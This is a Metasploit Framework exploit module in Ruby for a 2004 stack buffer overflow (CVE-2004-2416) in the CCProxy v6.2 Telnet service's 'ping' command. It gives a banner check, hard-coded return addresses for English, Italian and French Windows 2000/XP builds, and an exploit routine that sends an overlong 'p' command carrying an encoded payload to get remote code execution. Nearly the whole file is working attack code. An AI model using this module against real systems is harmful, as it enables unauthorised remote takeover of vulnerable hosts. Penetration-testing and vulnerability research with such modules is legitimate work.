##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {}) 
    super(update_info(info,    
      'Name'    => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
      'Description'  => %q{
                  This module exploits the YoungZSoft CCProxy <= v6.2 suite
                  Telnet service. The stack is overwritten when sending an overly
                  long address to the 'ping' command.
      },
      'Author'   => [ 'Patrick Webster <patrick[at]aushack.com>' ],
      'Arch'    => [ ARCH_X86 ], 
      'License'       => MSF_LICENSE,
      'Version'       => '$Revision$',
      'References'    =>
      [
        [ 'CVE', '2004-2416' ],
        [ 'OSVDB', '11593' ],
        [ 'BID', '11666 ' ],
        [ 'URL', 'http://milw0rm.com/exploits/621' ],
      ],         
      'Privileged'    => false,
      'DefaultOptions'  =>
      {
        'EXITFUNC'   => 'thread',
      },
      'Payload' =>
        { 
          'Space'    => 1012,
          'BadChars'   => "\x00\x07\x08\x0a\x0d\x20",
        },
      'Platform' => ['win'],
      'Targets' =>
      [
        # Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
        [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
        [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
        [ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
        [ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
        [ 'Windows XP SP2 - English',      { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
      ],
      'DisclosureDate' => 'Nov 11 2004'))
            
      register_options(
      [
        Opt::RPORT(23),
      ], self.class)
  end

  def autofilter
    false
  end

  def check 
    connect
    banner = sock.get_once(-1,3)
    disconnect

    if (banner =~ /CCProxy Telnet Service Ready/)
      return Exploit::CheckCode::Appears 
    end
      return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    
    sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
    sock.put(sploit + "\r\n")

    handler
    disconnect
  end

end